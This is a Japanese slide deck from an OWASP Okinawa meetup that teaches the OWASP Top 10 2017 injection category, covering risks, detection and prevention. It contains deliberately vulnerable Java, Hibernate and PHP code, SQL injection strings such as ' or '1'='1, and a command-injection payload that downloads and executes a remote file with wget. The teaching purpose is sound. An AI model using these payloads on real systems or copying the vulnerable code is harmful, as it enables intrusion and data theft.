OWASP Top 10 を学ぼう!
(A1:2017-インジェクション)
OWASP Evening OKINAWA #7 桃原 裕太
自己紹介
桃原 裕太
株式会社シーエー・アドバンス 技術統括本部
Webアプリケーション脆弱性診断に携わって約5年
月一でセキュリティもくもく勉強会を開催
2
目次
はじめに
OWASP について
OWASP Top 10 について
2013年版から2017年版への変更点
アプリケーションセキュリティリスク
A1:2017 - インジェクション
おわりに
3
はじめに
4
はじめに
※注意※
ここで得た知識を悪用しな
いようにしてください
5
はじめに
スライドが90枚
くらいあります!
一枚一枚はそんなに
長くないはず
6
はじめに
2017年12月に
OWASP Top 10
の日本語版が公開
されましたね!
7
はじめに
少しずつですが、
沖縄でも学んでい
きたいと思います。
(全10回)
8
はじめに
2018/03 A1:2017-インジェクション
2018/06 A2:2017-認証の不備
2018/09 A3:2017-機微な情報の露出
2018/12 A4:2017-XML 外部エンティティ参照(XXE)
2019/03 A5:2017-アクセス制御の不備
2019/06 A6:2017-不適切なセキュリティ設定
2019/09 A7:2017-クロスサイトスクリプティング(XSS)
2019/12 A8:2017-安全でないデシリアライゼーション
2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用
2020/06 A10:2017-不十分なロギングとモニタリング
9
はじめに
2018/03 A1:2017-インジェクション (今回はコチラ!)
2018/06 A2:2017-認証の不備
2018/09 A3:2017-機微な情報の露出
2018/12 A4:2017-XML 外部エンティティ参照(XXE)
2019/03 A5:2017-アクセス制御の不備
2019/06 A6:2017-不適切なセキュリティ設定
2019/09 A7:2017-クロスサイトスクリプティング(XSS)
2019/12 A8:2017-安全でないデシリアライゼーション
2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用
2020/06 A10:2017-不十分なロギングとモニタリング
10
はじめに
 次回以降は登壇者をローテーションしたいので、
我こそは!という方は、個別にでもいいのでご連
絡いただけるとありがたいです。
11
OWASP
について
12
OWASP について
 OWASP とは、Open Web Application Security
Project の略称です。
 Webをはじめとするセキュリティ環境の現状、ま
たセキュアなソフトウェア開発を促進する技術・
プロセスに関する情報共有と普及啓発を目的とし
たプロフェッショナルの集まる、オープンソー
ス・ソフトウェアコミュニティです。
 OWASP Okinawaは日本で6番目に発足したローカ
ルチャプターです。
13
OWASP について
 OWASP は様々なプロジェクトがあり、
その成果物があります。
 OWASP Top 10 - 2017
 OWASP Mobile Top 10 - 2016
 OWASP Proactive Controls
 OWASP Application Security Verification Standard
 OWASP Wordpress Security Implementation
Guideline
14
OWASP Top
10 - 2017 に
ついて
15
OWASP Top 10 - 2017 につい
て
 アプリケーションセキュリティのデファクト・ス
タンダード
 前回作成したものが OWASP Top 10 - 2013
 アプリケーションセキュリティを始める人や
組織が良いスタートをきれるように作成していま
す
16
OWASP Top 10 - 2017 につい
て
 大規模な組織や、セキュリティの取り組みにおい
て高いレベルの組織において、厳密な標準が求め
られているような場合には OWASP Application
Security Verification Standard (ASVS) を使う
ように勧めているようです
17
OWASP Top 10 - 2017 につい
て
 OWASP Top10の主要な目的は、開発者、デザイ
ナー、アーキテクト、マネージャ、組織に、最も
一般的かつ最も重要なWebアプリケーションセ
キュリティの弱点の影響について教育することで
す。
 リスクの高い問題のある領域を守るための基本的
なテクニックを提供し、現時点からどこへ進める
べきなかについてのガイダンスを提供します。
18
2013年版から
2017年版への
変更点
19
2013年版から2017年版への変更点
 ここ数年でアプリケーションの基本的な技術と
アーキテクチャは大きな変化を遂げました。
マイクロサービス
RESTful Web
シングルページアプリケーション
従来サーバー側で処理されてきた機能が
クライアント側に移る
20
2013年版から2017年版への変更点
 ここ数年でアプリケーションの基本的な技術と
アーキテクチャは大きな変化を遂げました。
node.js 等、JavaScript が Web の主要言語に
モダンな Web フレームワークの登場
Bootstrap, Electron, Angular, React
21
2013年版から2017年版への変更点
(追加された項目)
22
2013年版から2017年版への変更点
(統合された項目)
23
2013年版から2017年版への変更点
(削除された項目)
24
2013年版から2017年版への変更点
(削除された項目) ※補足
 クロスサイトリクエストフォージェリ(CSRF)
 多くのフレームワークがこの対策を講じており、アプリ
ケーションの5%程度でのみ観察されている
 未検証のリダイレクトと転送
 アプリケーションのおよそ8%で観察されており、XXEが
入ったことによりTop10から外れた
25
2013年版から2017年版への変更点
(削除された項目) ※補足
 クロスサイトリクエストフォージェリ(CSRF)
 多くのフレームワークがこの対策を講じており、アプリ
ケーションの5%程度でのみ観察されている
 未検証のリダイレクトと転送
 アプリケーションのおよそ8%で観察されており、XXEが
入ったことによりTop10から外れた
※一定数存在するので、無視していいわ
けではないです
26
アプリケーション
セキュリティリスク
について
27
アプリケーション
セキュリティリスクについて
攻撃者はアプリケーションを介して様々な経路
で、ビジネスや組織に被害を及ぼします。
28
それぞれの経路は、注意を喚起すべき深刻なリ
スクやそれほど深刻ではないリスクを表してい
ます。
29
アプリケーション
セキュリティリスクについて
 これらの経路の中には、検出や悪用がしやすいものもあ
れば、しにくいものもあります。
 同様に、引き起こされる被害についても、 ビジネスに
影響がないこともあれば、破産にまで追い込まれること
もあります。
30
アプリケーション
セキュリティリスクについて
アプリケーションセキュリティリスクについて
 組織におけるリスクを判断するためにまず、以下の項目
に関してそれぞれの可能性を評価します。
「脅威エージェント」
「攻撃手法」
「セキュリティ上の弱点」
31
アプリケーション
セキュリティリスクについて
 アプリケーションセキュリティリスクについて
 その次に、組織に対する影響を考慮してみてください。
「技術面への影響」
「ビジネス面への影響」
32
アプリケーション
セキュリティリスクについて
 アプリケーションセキュリティリスクについて
 最後に、これら全てのファクターに基づき、リスクの全
体像を決定します。
33
アプリケーション
セキュリティリスクについて
次からインジェクションのお話
なのですが
34
ここまでで
何か質問等ありますか?
A1:2017
-インジェ
クション
35
A1:2017-インジェクション
ここから本題です!
36
A1:2017-インジェクション
その前に、
インジェクション
知ってる方ってどのくらい
いますか…?
37
A1:2017-インジェクション
インジェクションについてざっくり解説
コマンドやクエリの一部として信頼されない
データが送信される場合に発生
攻撃コードがインタープリタを騙すことで、
様々な問題が…
意図しないコマンドの実行
機密情報の漏えい
権限を有していないデータへのアクセス、等
38
A1:2017-インジェクション
関連する脆弱性の例
SQLインジェクション
NoSQLインジェクション
OSコマンドインジェクション
LDAPインジェクション
39
A1:2017-インジェクション
関連する脆弱性の例
SQLインジェクション
NoSQLインジェクション
OSコマンドインジェクション
LDAPインジェクション
40
A1:2017-インジェクション
~インジェクションとなっ
ている脆弱性が今回のテー
マです
41
A1:2017-インジェクション
なにが問題なの?
42
A1:2017-インジェクション
機密情報が漏洩した場合…
43
A1:2017-インジェクション
損害賠償に発展する事例も
 [参考]https://blog.tokumaru.org/2015/01/sql.html
44
A1:2017-インジェクション
次はインジェクションの
リスクについて確認してい
きましょう
45
A1:2017-インジェクション
リスクについて
46
A1:2017-インジェクション
インジェクションのリスクについて
47
A1:2017-インジェクション
インジェクションのリスクについて
48
それぞれの項目について
確認していきます
A1:2017-インジェクション
インジェクションのリスクについて
49
A1:2017-インジェクション
悪用のしやすさ(3段階評価)
容易:3
ほとんどのデータソースがインジェクションの
経路となりえます。
環境変数
パラメータ
外部及び内部のWebサービス
あらゆる種類のユーザ
攻撃者が送った悪意のあるデータがインタープ
リタ上で動作する場合にインジェクションは発
生します。
50
A1:2017-インジェクション
インジェクションのリスクについて
51
A1:2017-インジェクション
弱点の蔓延度(3段階評価)
よく見られる:2
特にレガシーコードで一般的です
インジェクション脆弱性は、下記でよく見
られます。
SQL
LDAP
Xpath
NoSQLクエリ
OSコマンド
XMLパーサー
SMTPヘッダー
式言語
ORMクエリ
52
A1:2017-インジェクション
インジェクションのリスクについて
53
A1:2017-インジェクション
検出のしやすさ(3段階評価)
容易:3
インジェクション欠陥は、コードを調べる
と簡単に発見できます。
インジェクション欠陥を見つけるのに役立
つ手法があります
スキャナ(ソースコードの静的チェック)
ファジング(動的解析)
54
A1:2017-インジェクション
インジェクションのリスクについて
55
A1:2017-インジェクション
技術面(3段階評価)
深刻:3
様々な問題が起きます
データの損失
破壊
情報漏洩
アカウンタビリティの喪失
アクセス拒否
ホストの完全な乗っ取り
56
A1:2017-インジェクション
インジェクションのリスクについて
57
A1:2017-インジェクション
脅威エージェントとビジネス面の影響
リスクを理解するためには「脅威エージェ
ント」と「ビジネス面への影響」を考慮
しないといけません。
ソフトウェア に甚大な弱点があったとし
ても、攻撃をする「脅威エージェント」
がいない、或いは関連資産への「ビジネ
ス面への影響」 が極めて少ない場合、重
大なリスクにはなりません。
58
A1:2017-インジェクション
ビジネスへの影響は、アプリケーションと
データの重要性に依存します。例えば、
個人情報の漏えい
重要性が高い
クライアント情報の漏えい
重要性が高い
ECサイトで販売している商品情報の漏えい
(公開されている情報)
重要性が低い
59
A1:2017-インジェクション
次はインジェクションの
見つけ方について
確認していきましょう
60
A1:2017-インジェクション
脆弱性発見のポイント(1/5)
ユーザが提供したデータをそのまま信頼してい
る場合はインジェクションが発生しやすいです
検証していない
フィルタリングしていない
サニタイズされない
コンテキストに応じたエスケープが行われず、
動的クエリまたはパラメータ化されていない呼
出しがインタープリタに直接使用される
SQLに使われるデータがエスケープされてない等
61
A1:2017-インジェクション
脆弱性発見のポイント(2/5)
次のような状況では、アプリケーションはこの
攻撃に対して脆弱です
オブジェクト・リレーショナル・マッピング
(ORM)の検索パラメータに悪意を持ったデー
タが使用され、重要なレコードを追加で抽出して
しまう。
 悪意を持ったデータを直接または連結して使う。
例えば、動的クエリ、コマンド、ストアド・プロ
シージャにおいて構文に悪意を持ったデータを組
み合わせる形でSQLやコマンドが組み立てられる。
62
A1:2017-インジェクション
 脆弱性発見のポイント(3/5)
一般的なインジェクションとしては、下記がありま
す。
SQL
NoSQL
OSコマンド
オブジェクト・リレーショナル・マッピング(ORM)
LDAP
EL式(Expression Language)
OGNL式(Object GraphNavigation Library)
コンセプトはすべてのインタープリタで同じです。
63
A1:2017-インジェクション
 脆弱性発見のポイント(4/5)
ソースコードをレビューすることが最も効果的に検
出できます
すべての入力値の完全な自動テストも効果的です
パラメータ
ヘッダー
URL
Cookie
JSON
SOAP
XML
64
A1:2017-インジェクション
脆弱性発見のポイント(5/5)
下記のようなツールをCI/CDパイプライン(ビ
ルド~テスト~リリースの自動化ツール)に導
入します
静的ソースコード解析ツール (SAST)
Java/PHP/Ruby 等、言語毎にツールが存在
動的アプリケーションテストツール (DAST)
実際にHTTPリクエストを送信してテスト
自動化することで新たに作られてしまったイン
ジェクション欠陥をリリース前に検出できます
65
A1:2017-インジェクション
次はインジェクションの
攻撃例について
確認していきましょう
66
A1:2017-インジェクション
攻撃シナリオの例(#1)
あるアプリケーションは信頼できないデー
タを用いることで以下のような脆弱なSQL呼
び出しを作ってしまいます
Javaの例をあげます
67
A1:2017-インジェクション
攻撃シナリオの例(#1)
 http://example.com/app/accountView?id=1
String query = "SELECT * FROM accounts "
+ " WHERE custID='"
+ request.getParameter("id") + "'";
// SELECT * FROM accounts
// WHERE custID='1'
/* アカウントIDが1のデータを取得 */
68
A1:2017-インジェクション
攻撃シナリオの例(#1)
 http://example.com/app/accountView?id=' or '1'='1
String query = "SELECT * FROM accounts "
+ " WHERE custID='"
+ request.getParameter("id") + "'";
// SELECT * FROM accounts
// WHERE custID='' or '1'='1'
/* アカウントのデータを全件取得 */
69
A1:2017-インジェクション
攻撃シナリオの例(#2)
あるアプリケーションは信頼できないデー
タを用いることで以下のような脆弱なSQL呼
び出しを作ってしまいます
JavaのORMツール(Hybernate)の例をあ
げます
70
A1:2017-インジェクション
攻撃シナリオの例(#2)
 http://example.com/app/accountView?id=1
Query HQLQuery = session.createQuery(
"FROM accounts "
+ "WHERE custID='"
+ request.getParameter("id")
+ "'");
// SELECT * FROM accounts
// WHERE custID='1'
/* アカウントIDが1のデータを取得 */ 71
A1:2017-インジェクション
攻撃シナリオの例(#2)
 http://example.com/app/accountView?id=' or '1'='1
Query HQLQuery = session.createQuery(
"FROM accounts "
+ "WHERE custID='"
+ request.getParameter("id")
+ "'");
// SELECT * FROM accounts
// WHERE custID='' or '1'='1'
/* アカウントのデータを全件取得 */ 72
A1:2017-インジェクション
攻撃シナリオの例(#3)
あるアプリケーションは信頼できないデー
タを用いることで以下のような脆弱なOSコ
マンドの呼び出しを作ってしまいます
PHPの例をあげます
73
A1:2017-インジェクション
攻撃シナリオの例(#3)
 http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
74
A1:2017-インジェクション
攻撃シナリオの例(#3)
 http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
75
A1:2017-インジェクション
攻撃シナリオの例(#3)
 http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
76
A1:2017-インジェクション
攻撃シナリオの例(#3)
 http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
①バッチを動かす
php /batch/order_summary.php 201701;
②sleepコマンドで10秒停止
sleep 10;
77
A1:2017-インジェクション
攻撃シナリオの例(#3)
 なぜsleepコマンド?
yyyymm=201701 の場合
※レスポンスが返ってくるまでに1秒かかる
yyyymm=201701;sleep 10; の場合
※レスポンスが返ってくるまでに11秒かかる
78
A1:2017-インジェクション
攻撃シナリオの例(#3)
 不正なファイルのDLと実行
;wget http://example.com/evil.txt -O evil.php;php evil.php;
 ツールの取得(yum, apt-get)
 ファイル削除 (rm)
 OSシャットダウン(shutdown)
 その他いろいろ
79
A1:2017-インジェクション
次はインジェクションの
防止方法について
確認していきましょう
80
A1:2017-インジェクション
防止方法
コマンドとクエリからデータを常に分ける
ようにします
インタープリタの使用を完全に避けるよう
にします
パラメータ化されたインターフェースを利
用するようにします
ORMを使用するように移行するようにしま
す
81
A1:2017-インジェクション
防止方法
注意)パラメータ化されていたとしても、
ストアドプロシージャでは、 SQLインジェ
クションを発生する可能性があります
例)PL/SQLまたはT-SQLによってクエリと
データを連結
例)EXECUTE IMMEDIATEやexec()を利用
して悪意のあるデータを実行する
例にあるような書き方は避けるようにしま
しょう
82
A1:2017-インジェクション
防止方法
「ホワイトリスト」によるサーバサイドの
入力検証を用いるようにします
フォームのラジオボタンやセレクトボックス
はホワイトリストでの入力値チェックがしや
すいと思います
フォームのテキストエリア等はホワイトリ
ストでのチェックは難しそう…
83
A1:2017-インジェクション
防止方法
これまでの対応が困難な動的クエリでは、
そのインタープリタ固有のエスケープ構文
を使用して特殊文字をエスケープするよう
にします
注意点)テーブル名やカラム名などのSQLス
トラクチャに対してはエスケープができない
ため、ユーザ指定のストラクチャ名は危険で
す。
レポート作成ソフトウェア等で見かけられる
問題のようです。
84
A1:2017-インジェクション
防止方法
実行するSQLのクエリ内で LIMIT 句やそ
の他のSQL制御を常に使用するようにし
ます
緩和策だと思いますが SQL インジェク
ション攻撃が発生した場合のレコードの
大量漏洩を防ぐことができるかもしれま
せん
85
A1:2017-インジェクション
攻撃シナリオの例(#1) ※対策版
 http://example.com/app/accountView?id=' or '1'='1
PreparedStatement prep =
conn.prepareStatement(
"SELECT * FROM accounts WHERE custID=?"
);
prep.setString(1, request.getParameter("id"));
// SELECT * FROM accounts
// WHERE custID=''' or ''1''=''1'
/* custIDが「' or '1'='1」のアカウントデータを取得 */
86
おわりに
 まとめ
インジェクションについて OWASP Top 10 -
2017 をベースにお話しました
例えばOSコマンドインジェクションが発生した
場合はビジネスに致命的な影響を及ぼす可能性
があります
不正なファイルの実行、データ漏えい、サーバー
ダウン等
今回学んだ、脆弱性発見のポイント、攻撃例、防止
方法をもとにインジェクションのない安全なWebア
プリケーションを開発できるように頑張ってくださ
い
87
おわりに
 参考サイト、参考資料
 https://www.owasp.org/images/2/23/OWASP_Top_10-
2017%28ja%29.pdf
 https://www.owasp.org/images/7/72/OWASP_Top_10-
2017_%28en%29.pdf.pdf
 https://blog.tokumaru.org/2015/01/sql.html
 https://www.ipa.go.jp/files/000017320.pdf
88
おわりに
89
何か質問等ありますか?
おわりに
 次回、登壇したい方がいれば
個別でもいいですので教えてください…!
※30分くらいで考えています
90
ご清聴
ありがとうございました!
91

owasp_evening_okinawa_7_owasp_top_10-2017_injection